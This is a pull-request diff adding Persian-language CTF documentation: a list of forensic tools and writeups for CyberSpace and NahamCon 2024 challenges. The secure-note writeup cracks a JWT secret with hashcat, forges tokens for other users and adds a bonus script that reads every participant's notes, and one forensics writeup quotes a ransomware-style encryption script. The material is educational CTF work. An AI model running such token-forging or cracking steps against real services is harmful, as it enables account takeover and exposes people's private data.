Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 35 additions & 0 deletions docs/forensic/Tools/index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# ابزار فارنزیک

اگه میخواین چلنج های فارنزیک رو تار و مار کنید، این ابزار رو همیشه نصب داشته باشید😁

## [Volatility3](https://github.com/volatilityfoundation/volatility3)
هرجایی که صحبت از مموری دامپ و سیستم hibernate شده و coredump به میون بیاد، میریم سراغ volatility

این ابزار به کمک ماژول های متعددی که براش نوشتن میاد و انواع دامپ ها رو برای ما بررسی میکنه و اطلاعات خیلی مهمی از قبیل پروسس های در حال اجرا، لیست فایل های موجود در سیستم و استخراج فایل (در صورت ایندکس شدن در مموری) رو بهمون میده

این ماژول ها فقط یه قسمت خیلی کوچیکی از کل کارایی volatility هستن

این ابزار برای مموری دامپ های هر ۳ سیستم عامل (ویندوز، لینوکس و مک) به خوبی کار میکنه

دو نسخه از این ابزار وجود داره که امروزه هر دو اون ها تو چلنج ها مورد استفاده قرار میگیرن

یک نسخه برای [پایتون 2](https://github.com/volatilityfoundation/volatility) و یک نسخه برای [پایتون 3](https://github.com/volatilityfoundation/volatility3)

## [samdump](https://github.com/h4ms1k/samdump)
احتمالا میدونید که تو ویندوز، فایل هایی که وظیفه نگهداری پسورد یوزر ها رو دارن، تو این مسیرن
```
C:\Windows\System32\config\SAM\
```
تو این مسیر، دو تا فایل مهم وجود داره: SAM و SYSTEM
که این ابزار دقیقا برای این دو تا فایل ساخته شده و به وسیله این دو تا فایل، میاد یوزرنیم و هش مورد نیاز برای کرک رو درمیاره

## [evtx_parser](https://github.com/omerbenamram/evtx)
بعیده CTF این برگزار بشه و فایل لاگ ویندوز ندن =)))

این یه ابزار سریع و قوی برای parse کردن لاگ های evtx ویندوزه که از سیر تا پیازشون رو خورد میکنه و تحویل میده😁

## [wireshark](https://www.wireshark.org/)
فایل pcap دادن بهتون؟
بندازینش تو وایرشارک
این ابزار، همه نوع فیلتری که بخواین رو داره
البته نسخه کامند لاینیش هم هست ولی خو نیازه یکم با خود وایرشارک فیلترنویسی رو یاد بگیرین تا بتونین از [cli](https://www.wireshark.org/docs/man-pages/tshark.html) اش استفاده کنین
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
24 changes: 24 additions & 0 deletions docs/forensic/writeups/2024/CyberSpace/3d-obj.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
---
tags:
- CyberSpace
- CyberSpace-2024
- Forensics
- 3D
---

تو نگاه اول با ۳ تا فایل مواجه میشیم

![files](3d-obj-1.png)

با کمی سرچ و دقت به تایتل سوال میفهمیم که این ۳ تا فایل برای مدل های ۳ بعدی استفاده میشن

پس یه سایت آنلاین برای نمایش مدل ۳ بعدی پیدا میکنیم

بعد از نیم ساعت سر و کله زدن با مکعب، درمیابیم که با کمی zoom out کردن فلگ ظاهر میشه

![model](3d-obj-2.png)

---
!!! نویسنده
[SafaSafari](https://twitter.com/SafaSafari3)

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
37 changes: 37 additions & 0 deletions docs/forensic/writeups/2024/CyberSpace/social-distancing.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
---
tags:
- CyberSpace
- CyberSpace-2024
- Forensics
- Defender
- Quarantine
---

بعد از unzip کردن فایل با این فولدر ها مواجه میشیم

![folders](social-distancing-1.png)

با یه سرچ ساده در گوگل و دیدن اسم فولدر اصلی به این پی میبریم که این مربوط به طرز ذخیره سازی فایل های قرنطینه تو ویندوز دیفندر مایکروسافت هست

پس میگردیم دنبال ابزار دکریپت این فایل ها و با این سورس مواجه میشیم

[windows_defender_unquarantine.py](https://gist.github.com/OALabs/30346d78a1fccf59d6bfafab42fbee5e)

بعد از اجرای موفق اسکریپت با python2

![decrypted](social-distancing-2.png)

و بعد از دیکد کردن بیس ۶۴ با فایل zip مواجه میشیم که حتی نیازی با unzip کردنش نداریم و فلگ رو دودستی بهمون تقدیم میکنه =))

![flag](social-distancing-3.png)

البته میتونستیم از سایبرشف هم برای دکریپت کردن استفاده کنیم

![cyberchef](social-distancing-4.png)

??? success "FLAG :triangular_flag_on_post:"
<div dir="ltr">`CSCTF{y0u_un-qu4rant1n3d_my_scr1Pt!_0x91a3edff6}`</div>
---
!!! نویسنده
[SafaSafari](https://twitter.com/SafaSafari3)

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
70 changes: 70 additions & 0 deletions docs/forensic/writeups/2024/NahamCon/taking-up-residence.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
---
tags:
- NahamCon
- NahamCon-2024
- Forensics
- AD1
- MFT
---

![main file](taking-up-residence-1.png)

با یه فایل بدون پسوند روبرو ایم =))

خبر بد این که حتی file هم تشخیص نمیده این چه کوفتیه 😂

![file command](taking-up-residence-2.png)

خوب، راهی نداریم جز این که بریم سراغ hex editor

![hex editor](taking-up-residence-3.png)

بعد از گشتن دنبال کلمه کلیدی flag.txt میبینیم که این اسم تو یه فایل پایتونی استفاده شده

```python
from cryptography.fernet import Fernet
import subprocess

key = subprocess.run(["powershell", "-EncodedCommand", "RwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAIgByAGEAbgBzAG8AbQAuAHAAeQAiACAALQBTAHQAcgBlAGEAbQAgACIAawBlAHkAIgA="], capture_output=True, text=True).stdout.strip()

print(key)
with open('flag.txt', 'r') as reader:
message = reader.read()
f = Fernet(key)

encrypted_message = f.encrypt(message.encode())
print(encrypted_message)
with open('flag.txt', 'w') as writer:
writer.write(encrypted_message.decode('ascii'))
```

با دیکد کردن کامند لاینی که وارد پاورشل شده، به همچین دستوری میرسیم

```Get-Content -Path "ransom.py" -Stream "key"```

که به پاورشل میگه بره و از تو MFT قسمت استریم key رو بخونه و ریترن کنه

اگه دوباره به عکس بالا نگاه کنید، در آخر عکس، این استریم رو میبینید که این زیر میزارم

```62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU=```

الان رمز اینکریپشن Fernet رو داریم و فقط مونده خود متن انکریپت شده

همه متن های cipher ای که با Fernet انکریپت شدن، با gAAAAA شروع میشن و این میتونه راهنمای خوبی باشه برای پیدا کردن فایل

![cipher](taking-up-residence-4.png)

اما خوب یه راه اصولی تر هم هست، اونم این که کلمه flag.txt رو یه بار به بصورت utf-16 سرچ کنیم

![utf-16](taking-up-residence-5.png)

بعدش هم یه دکریپت سادس که با کمک [سایبرشف](https://gchq.github.io/CyberChef/#recipe=Fernet_Decrypt('62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU')&input=Z0FBQUFBQm1TOXMzMnY1SnUxODFFYUpoaDJ2WU1zUjZNSjMxU0stOW1Ed2dpQ3ozX01CV29wanFxeW5qb1lfLUhOT3czdFgxVDNSdGhCWkh6OXlsbXlxY2taMGdVWl82VDdVVXhwck1Ib0NBYVRWM20xcTB3ZXpuQmc5OFJMN2RSVmhSbjBjWDZYdGE) انجام میدیم

![cyberchef](taking-up-residence-6.png)

??? success "FLAG :triangular_flag_on_post:"
<div dir="ltr">`flag{a4096cd70d8859d38cf8e7487b4cd0fa}`</div>
---
!!! نویسنده
[SafaSafari](https://twitter.com/SafaSafari3)

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added docs/reverse/writeups/2024/CyberSpace/login-2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
42 changes: 42 additions & 0 deletions docs/reverse/writeups/2024/CyberSpace/login.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
---
tags:
- CyberSpace
- CyberSpace-2024
- Reverse
- Android
- Flutter
---

این چالش ریورس اندروید با فلاتر طراحی شده

فلاتر یجورایی آخرین سنگر طراح چلنجه برای این که چلنج سختی طراحی کرده باشه
اما ما به سادگی آب خوردن حلش میکنیم =))

اول از همه با نصب استفاده از این ابزار، به disassembly از فلاتر دست پیدا میکنیم که کارمون رو تا حد زیادی راحت میکنه
[blutter](https://github.com/worawit/blutter)

```bash
python ../tools/blutter/blutter.py login/lib/arm64-v8a rev_login
```

بعد از باز کردن فایل main.dart تو پوشه asm و سر و کله زدن باهاش و خوندن جاهای مختلف به یوزرنیم و پسورد بصورت بیس ۶۴ انکد شده میرسیم

![user-pass](login-1.png)

```
4dm1n
U3VwM3JTM2NyM3RmMHJNeVMzY3VSM0wwZ2luQXBw (Sup3rS3cr3tf0rMyS3cuR3L0ginApp)
```

با وارد کردن یوزرنیم و پسورد در اپلیکیشن، فلگ رو دریافت میکنیم

![flag!!!](login-2.png)

پ.ن: اگه براتون سوال شد که چرا فلگ رو از داخل خود سورس نخوندیم، باید بهتون بگم که میشد، اما چون فلگ از substr پسورد ساخته میشد، یکم اذیتمون میکرد و ترجیح دادیم ساده ترین روش رو برای رایتاپ بنویسیم

??? success "FLAG :triangular_flag_on_post:"
<div dir="ltr">`CSCTF{SuP3r_S3cuRe_l0g1n_1234}`</div>
---
!!! نویسنده
[SafaSafari](https://twitter.com/SafaSafari3)

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
162 changes: 162 additions & 0 deletions docs/reverse/writeups/2024/CyberSpace/secure-note.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,162 @@
---
tags:
- CyberSpace
- CyberSpace-2024
- Reverse
- Android
- Flutter
---

اگه چلنج [login](./login.md) رو دیده باشین از ابزار [blutter](https://github.com/worawit/blutter) برای ریورس فلاتر استفاده کردیم

تو این چلنج هم همین کارو میکنیم

این دفعه یکم کارمون سخت تره چون چلنج سخت تری هم هست :joy:

Anyway بریم سراغ چلنج

ایندفعه چندین سورس داریم که نیازه اکثرشون رو چک کنیم

![files](secure-note-1.png)

بعد از بررسی اجمالی سورس ها به یه سری اندپوینت میرسیم

https://securenotesmobile-challs.csc.tf/register

https://securenotesmobile-challs.csc.tf/login

https://securenotesmobile-challs.csc.tf/notes

https://securenotesmobile-challs.csc.tf/create_note

اگه یه درخواست ساده curl به سمتشون ارسال کنیم، میبینیم که باید متد post ارسال کنیم

پس میگردیم دنبال اسم فیلد های هر اندپوینت

![curl](secure-note-2.png)

https://securenotesmobile-challs.csc.tf/register => Content-Type: application/json; charset=UTF-8, username, password

پس میشه همچین دستوری

```bash
curl https://securenotesmobile-challs.csc.tf/register -H "Content-Type: application/json; charset=UTF-8" --data-raw '{"username": "iam", "password": "SafaSafari"}' -i
```

![403](secure-note-3.png)

اما صبر کنید

داره ۴۰۳ میده!!

یعنی فهمیده که خود برنامه درخواست نمیزنه و ما با curl بازسازیش کردیم

خوب ما در اصل چندین پارامتر داریم که میتونه این رو لو بده

یکی از ساده تریناش user-agent هست

پس باید ببینیم برنامه چه user-agent ای ارسال میکنه سمت سرور و ما هم با همون user-agent بفرستیم

یه راهی که تو بقیه رایتاپ ها اومده و من زیاد از پروژش خوشم نمیاد اینه که میان ssl pinning توی فلاتر رو با ابزار [reflutter](https://github.com/ptswarm/reFlutter) حذف میکنن و درخواست رو اسنیف میکنن

اما ما میخوایم به یه روش باحال تر چلنج رو حل کنیم

یه قانون نانوشته تو ریورس باینری هست اونم اینه که شما میتونید بدون تغییر دادن length استرینگ ها، اونا رو تغییر بدین

من یه سایت دارم که همه درخواست هایی که بهش میاد رو ذخیره میکنم تو یه کانال تلگرامی

پس میایم و این اندپوینت رو تغییر میدیم

https://securenotesmobile-challs.csc.tf/register => https://i.safa.re/smobile-challs.csc.tf/register

و باینری رو میزاریم سر جاش و تو موبایل برنامه رو اجرا میکنیم و تو کانال منتظر دریافت درخواست میمونیم

![ip log](secure-note-4.png)

پس یوزر ایجنت باید `Dart/3.3 (dart:io)` باشه

```bash
curl https://securenotesmobile-challs.csc.tf/register -H "Content-Type: application/json; charset=UTF-8" --data-raw '{"username": "iam", "password": "SafaSafari"}' -A "Dart/3.3 (dart:io)"
```

![200](secure-note-5.png)

و بعد لاگین

![login](secure-note-6.png)

حالا چی؟

یه jwt بهمون داده که نمیدونیم کجا لوله کنیم =))))))

اگه قسمت payload رو چک کنیم با همچین چیزی مواجه میشیم

```json
{
"fresh": false,
"iat": 1725614233,
"jti": "4646cba7-c0ee-4f71-980b-fcaa418558ef",
"type": "access",
"sub": 261,
"nbf": 1725614233,
"csrf": "a9040a64-8d22-49bf-baa3-79d4b1803a3b",
"exp": 1725615133
}
```

اون پارامتر sub منظورش همون یوزر آیدی هست

حدس میزنم ادمین فلگ رو به عنوان یه نوت ذخیره کرده باشه

اما ما که سکرت jwt رو نداریم

چیکار کنیم؟

کرک =)))

```bash
hashcat -m 16500 "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyNTEzOTI1MywianRpIjoiZDM5M2ViZTktNTFmMy00YjRiLTk0MGMtMmI0ZTMxYzI2Yzc4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6MTE4LCJuYmYiOjE3MjUxMzkyNTMsImNzcmYiOiJjYzE0MDY2MC0zNjVjLTQxNWQtOWZmMC1kYWY1ZGI5ZTEyZTciLCJleHAiOjE3MjUxNDAxNTN9.yrhuzsNCJPcs2OdWd83lrXmaN7Ho0r8z9QHFaK226sI" /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
```

با استفاده از hashcat و این کامند، هش رو میزنیم رو کرک به امید این که سکرت اش در بیاد

و در میاد =)))))

![hashcat](secure-note-7.png)

پس سکرت jwt امون `789456123` هست

میریم سراغ [سابیرشف](https://gchq.github.io/CyberChef/) دوست داشتنی

![cyberchef](secure-note-8.png)

توکنی که از سایبرشف دریافت کردیم رو میزاریم تو اندپوینتی که مربوط به لود کردن note هاس

```bash
curl https://securenotesmobile-challs.csc.tf/notes -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyNTYxNDIzMywianRpIjoiNDY0NmNiYTctYzBlZS00ZjcxLTk4MGItZmNhYTQxODU1OGVmIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6MSwibmJmIjoxNzI1NjE0MjMzLCJjc3JmIjoiYTkwNDBhNjQtOGQyMi00OWJmLWJhYTMtNzlkNGIxODAzYTNiIiwiZXhwIjoxNzI1NjE1MTMzfQ.bKPJV_aP7EO21vBnIcbmLRGQKvlbY_xNQnHqnwhbGnY" -H "User-Agent: Dart/3.3 (dart:io)"
```

![flag](secure-note-9.png)

??? success "FLAG :triangular_flag_on_post:"
<div dir="ltr">`CSCTF{1_w0nd3r_1f_y0u_f0r607_7h3_u53r_463n7}`</div>
---

bonus

از اونجایی که من خیلی فضولم، یه اسکریپت نوشتم تا نوت های بقیه افراد رو هم ببینم =))))

```python
import jwt
import requests


for i in range(1, 262):
token = jwt.encode({"fresh":False,"iat":1725614233,"jti":"4646cba7-c0ee-4f71-980b-fcaa418558ef","type":"access","sub":i,"nbf":1725614233,"csrf":"a9040a64-8d22-49bf-baa3-79d4b1803a3b","exp":1825615133}, "789456123")
print(requests.get("https://securenotesmobile-challs.csc.tf/notes", headers={"User-Agent": "Dart/3.3 (dart:io)", "Authorization": "Bearer {}".format(token)}).json())
```

اگه براتون جالبه، یه بار رانش کردم و نتیجش رو گذاشتم [اینجا](https://pastecode.io/s/7c25azjj)

!!! نویسنده
[SafaSafari](https://twitter.com/SafaSafari3)
Loading